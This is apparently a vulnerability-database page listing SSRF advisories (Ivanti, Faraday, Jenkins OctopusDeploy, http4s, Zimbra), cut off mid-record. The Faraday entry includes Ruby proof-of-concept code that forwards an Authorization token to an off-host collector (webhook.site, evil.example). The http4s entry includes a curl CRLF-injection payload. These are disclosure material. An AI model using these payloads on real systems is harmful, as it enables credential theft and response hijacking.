Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4807 vulnerabilities reference this CWE, most recent first.

GHSA-5RR9-MQHJ-7CR2

Vulnerability from github – Published: 2024-01-31 18:31 – Updated: 2025-10-22 00:32
VLAI
Details

A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-21893"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-31T18:15:47Z",
    "severity": "HIGH"
  },
  "details": "A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.",
  "id": "GHSA-5rr9-mqhj-7cr2",
  "modified": "2025-10-22T00:32:59Z",
  "published": "2024-01-31T18:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21893"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21893"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5RV5-XJ5J-3484

Vulnerability from github – Published: 2026-05-18 14:51 – Updated: 2026-06-05 14:12
VLAI
Summary
Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping
Details

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

  • Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
  • Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
  • Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

  • Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
  • Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
  • Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

  1. Use the current repository checkout and load Faraday from lib/.
  2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
  3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
  4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

  • Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
  • Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
  • PoC code (inline):
require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body
  • Exit code: 0
  • stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
  • stderr (relevant excerpt):
N/A
  • Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

  • Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
  • Existing CVE for the original string-based issue: CVE-2026-25765
  • Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
  • Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.1"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "faraday"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T14:51:51Z",
    "nvd_published_at": "2026-05-19T19:16:49Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\n`Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`.\n\n## Affected Component\n\n- **Repository File(s)/Endpoint(s)**:\n  - `lib/faraday/connection.rb`\n  - `lib/faraday/request.rb`\n  - `spec/faraday/connection_spec.rb`\n  - `spec/faraday/request_spec.rb`\n- **Function(s)**:\n  - `Faraday::Connection#build_exclusive_url`\n  - `Faraday::Connection#run_request`\n  - `Faraday::Request#url`\n  - `Faraday::Request#to_env`\n- **Version(s) Tested**:\n  - `Faraday 2.14.1`\n  - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n\n## Attacker Profile\n\n- **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection\n- **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)`\n- **Capability**: Control over a protocol-relative URI such as `URI(\"//evil.example/pwn\")`\n\n## Steps to Reproduce\n\n1. Use the current repository checkout and load Faraday from `lib/`.\n2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`.\n3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.\n4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request.\n\n### Verification Evidence\n\n- **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n- **Commands executed**:\n\n```bash\n$ ruby -e \u0027require \"webrick\"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: \"127.0.0.1\", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc(\"/\") { |req, res| res.status = 200; res.body = \"host=#{req.host}\\nauth=#{req[\"Authorization\"]}\\npath=#{req.path}\\n\" }; trap(\"INT\") { server.shutdown }; server.start\u0027\n$ ruby -Ilib -e \u0027require \"faraday\"; require \"faraday/net_http\"; conn = Faraday.new(url: \"http://trusted.example/base\", headers: {\"Authorization\" =\u003e \"Bearer secret-token\"}) { |f| f.adapter :net_http }; target = [\"//127.0.0.1:4567\", \"/pwn\"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body\u0027\n```\n- **PoC code** (inline):\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(url: \"http://trusted.example/base\", headers: {\n  \"Authorization\" =\u003e \"Bearer secret-token\"\n}) { |f| f.adapter :net_http }\n\ntarget = [\"//127.0.0.1:4567\", \"/pwn\"].join\nresp = conn.get(URI(target))\n\nputs resp.status\nputs resp.body\n```\n- **Exit code**: `0`\n- **stdout** (relevant excerpt):\n\n```text\n200\nhost=127.0.0.1\nauth=Bearer secret-token\npath=/pwn\n```\n- **stderr** (relevant excerpt):\n\n```text\nN/A\n```\n- **Artifacts**: none\n\n### Additional External Confirmation\n\nThe issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter:\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(\n  url: \"http://trusted.example/base\",\n  headers: { \"Authorization\" =\u003e \"Bearer secret-token\" }\n) { |f| f.adapter :net_http }\n\ntarget = [\"//webhook.site\", \"/\u003ccollector-id\u003e\"].join\nresp = conn.get(URI(target))\nresp.status\n# =\u003e 200\nresp.url.host\n# =\u003e \"webhook.site\"\n```\n\nThis external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.\n\n## Supporting Materials\n\n- Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2`\n- Existing CVE for the original string-based issue: `CVE-2026-25765`\n- Existing regression tests for the string-only fix:\n  - `spec/faraday/connection_spec.rb:314-345`\n- Existing test proving supported `URI` request input:\n  - `spec/faraday/request_spec.rb:26-31`\n\n## Impact\n\nThe direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the\nconnection carries default headers or query parameters, those values are forwarded to the attacker-selected host.",
  "id": "GHSA-5rv5-xj5j-3484",
  "modified": "2026-06-05T14:12:03Z",
  "published": "2026-05-18T14:51:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33637"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-33mh-2634-fwr2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lostisland/faraday"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-33637.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping"
}

GHSA-5V2J-W677-J4MP

Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2024-01-30 22:26
VLAI
Summary
SSRF vulnerability due to missing permission check in Jenkins OctopusDeploy Plugin
Details

A server-side request forgery vulnerability exists in Jenkins OctopusDeploy Plugin 1.8.1 and earlier in OctopusDeployPlugin.java that allows attackers with Overall/Read permission to have Jenkins connect to an attacker-specified URL and obtain the HTTP response code if successful, and exception error message otherwise.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "hudson.plugins.octopusdeploy:octopusdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-1003027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-30T22:26:51Z",
    "nvd_published_at": "2019-02-20T21:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery vulnerability exists in Jenkins OctopusDeploy Plugin 1.8.1 and earlier in OctopusDeployPlugin.java that allows attackers with Overall/Read permission to have Jenkins connect to an attacker-specified URL and obtain the HTTP response code if successful, and exception error message otherwise.",
  "id": "GHSA-5v2j-w677-j4mp",
  "modified": "2024-01-30T22:26:51Z",
  "published": "2022-05-13T01:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1003027"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-02-19/#SECURITY-817"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107295"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SSRF vulnerability due to missing permission check in Jenkins OctopusDeploy Plugin "
}

GHSA-5VCM-3XC3-W7X3

Vulnerability from github – Published: 2021-09-22 19:18 – Updated: 2025-12-11 21:12
VLAI
Summary
Response Splitting from unsanitized headers
Details

Impact

http4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields:

  • Header names (Header.nameå
  • Header values (Header.value)
  • Status reason phrases (Status.reason)
  • URI paths (Uri.Path)
  • URI authority registered names (URI.RegName) (through 0.21)

The following backends render invalid carriage return, newline, or null characters in an unsafe fashion.

blaze-server ember-server blaze-client ember-client jetty-client
header names
header values
status reasons
URI paths
URI regnames ⚠ < 0.22 ⚠ < 0.22

For example, given the following service:

import cats.effect._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.server.blaze.BlazeServerBuilder
import scala.concurrent.ExecutionContext.global

object ResponseSplit extends IOApp {
  override def run(args: List[String]): IO[ExitCode] =
    BlazeServerBuilder[IO](global)
      .bindHttp(8080)
      .withHttpApp(httpApp)
      .resource
      .use(_ => IO.never)

  val httpApp: HttpApp[IO] =
    HttpApp[IO] { req =>
      req.params.get("author") match {
        case Some(author) =>
          Ok("The real content")
            .map(_.putHeaders(Header("Set-Cookie", s"author=${author}")))
        case None =>
          BadRequest("No author parameter")
      }
    }
}

A clean author parameter returns a clean response:

curl -i 'http://localhost:8080/?author=Ross'
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=Ross
Date: Mon, 20 Sep 2021 04:12:10 GMT
Content-Length: 16

The real content

A malicious author parameter allows a user-agent to hijack the response from our server and return different content:

curl -i 'http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you'
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=hax0r
Content-Length: 13

I hacked you

Patches

Versions 0.21.29, 0.22.5, 0.23.4, and 1.0.0-M27 perform the following:

  • If a status reasoon phrase is invalid, it is dropped. Rendering is optional per spec.
  • If a header name is invalid in a request or response, the header is dropped. There is no way to generically sanitize a header without potentially shadowing a correct one.
  • If a header value is invalid in a request or response, it is sanitized by replacing null (\u0000), carriage return (\r), and newline (\n) with space () characters per spec.
  • If a URI path or registered name is invalid in a request line, the client raises an IllegalArgumentException.
  • If a URI registered name is invalid in a host header, the client raises an IllegalArgumentException.

Workarounds

http4s services and client applications should sanitize any user input in the aforementioned fields before returning a request or response to the backend. The carriage return, newline, and null characters are the most threatening.

Not all backends were affected: jetty-server, tomcat-server, armeria, and netty on the server; async-http-client, okhttp-client, armeria, and netty as clients.

References

  • https://owasp.org/www-community/attacks/HTTP_Response_Splitting
  • https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values

For more information

If you have any questions or comments about this advisory: * Open an issue in GitHub * Contact us via the http4s security policy

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-client_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.10"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.21.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.11"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.21.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13.0-M5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.21.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-41084"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-21T16:10:13Z",
    "nvd_published_at": "2021-09-21T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nhttp4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields:\n\n* Header names (`Header.name`\u00e5\n* Header values (`Header.value`)\n* Status reason phrases (`Status.reason`)\n* URI paths (`Uri.Path`)\n* URI authority registered names (`URI.RegName`) (through 0.21)\n\nThe following backends render invalid carriage return, newline, or null characters in an unsafe fashion.\n\n|                | blaze-server | ember-server | blaze-client | ember-client | jetty-client |\n|:---------------|:-------------|:-------------|:-------------|--------------|--------------|\n| header names   | \u26a0            | \u26a0            | \u26a0            | \u26a0            |   \u26a0            | \n| header values  | \u26a0            | \u26a0            | \u26a0            | \u26a0            |              |\n| status reasons | \u26a0            | \u26a0            |              |              |              |\n| URI paths      |              |              |  \u26a0             |  \u26a0             |              |\n| URI regnames   |              |              |  \u26a0 \u003c 0.22           |  \u26a0 \u003c 0.22            |              |\n\nFor example, given the following service:\n\n```scala\nimport cats.effect._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.server.blaze.BlazeServerBuilder\nimport scala.concurrent.ExecutionContext.global\n\nobject ResponseSplit extends IOApp {\n  override def run(args: List[String]): IO[ExitCode] =\n    BlazeServerBuilder[IO](global)\n      .bindHttp(8080)\n      .withHttpApp(httpApp)\n      .resource\n      .use(_ =\u003e IO.never)\n\n  val httpApp: HttpApp[IO] =\n    HttpApp[IO] { req =\u003e\n      req.params.get(\"author\") match {\n        case Some(author) =\u003e\n          Ok(\"The real content\")\n            .map(_.putHeaders(Header(\"Set-Cookie\", s\"author=${author}\")))\n        case None =\u003e\n          BadRequest(\"No author parameter\")\n      }\n    }\n}\n```\n\nA clean `author` parameter returns a clean response:\n\n```sh\ncurl -i \u0027http://localhost:8080/?author=Ross\u0027\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/plain; charset=UTF-8\nSet-Cookie: author=Ross\nDate: Mon, 20 Sep 2021 04:12:10 GMT\nContent-Length: 16\n\nThe real content\n```\n\nA malicious `author` parameter allows a user-agent to hijack the response from our server and return different content:\n\n```sh\ncurl -i \u0027http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you\u0027\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/plain; charset=UTF-8\nSet-Cookie: author=hax0r\nContent-Length: 13\n\nI hacked you\n```\n\n### Patches\n\nVersions 0.21.29, 0.22.5, 0.23.4, and 1.0.0-M27 perform the following:\n\n* If a status reasoon phrase is invalid, it is dropped. Rendering is optional per spec.\n* If a header name is invalid in a request or response, the header is dropped.  There is no way to generically sanitize a header without potentially shadowing a correct one.\n* If a header value is invalid in a request or response, it is sanitized by replacing null (`\\u0000`), carriage return (`\\r`), and newline (`\\n`) with space (` `) characters per spec.\n* If a URI path or registered name is invalid in a request line, the client raises an `IllegalArgumentException`.\n* If a URI registered name is invalid in a host header, the client raises an `IllegalArgumentException`. \n\n### Workarounds\n\nhttp4s services and client applications should sanitize any user input in the aforementioned fields before returning a request or response to the backend.  The carriage return, newline, and null characters are the most threatening.\n\nNot all backends were affected: jetty-server, tomcat-server, armeria, and netty on the server; async-http-client, okhttp-client, armeria, and netty as clients.\n\n### References\n* https://owasp.org/www-community/attacks/HTTP_Response_Splitting\n* https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](http://github.com/http4s/http4s)\n* Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)",
  "id": "GHSA-5vcm-3xc3-w7x3",
  "modified": "2025-12-11T21:12:05Z",
  "published": "2021-09-22T19:18:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/security/advisories/GHSA-5vcm-3xc3-w7x3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41084"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/commit/d02007db1da4f8f3df2dbf11f1db9ac7afc3f9d8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4s/http4s"
    },
    {
      "type": "WEB",
      "url": "https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/attacks/HTTP_Response_Splitting"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Response Splitting from unsanitized headers"
}

GHSA-5VF8-PP4V-CCV9

Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-21 18:32
VLAI
Details

An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the my-contacts-settings component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-29453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T22:15:14Z",
    "severity": "MODERATE"
  },
  "details": "An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the my-contacts-settings component.",
  "id": "GHSA-5vf8-pp4v-ccv9",
  "modified": "2025-04-21T18:32:08Z",
  "published": "2025-04-18T00:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29453"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/pgg9q7kdbkggtq08"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5VFC-GF4X-6FJ8

Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2024-04-04 00:49
VLAI
Details

Zimbra Collaboration Suite 8.7.x through 8.8.11 allows Blind SSRF in the Feed component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-6981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-29T22:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Zimbra Collaboration Suite 8.7.x through 8.8.11 allows Blind SSRF in the Feed component.",
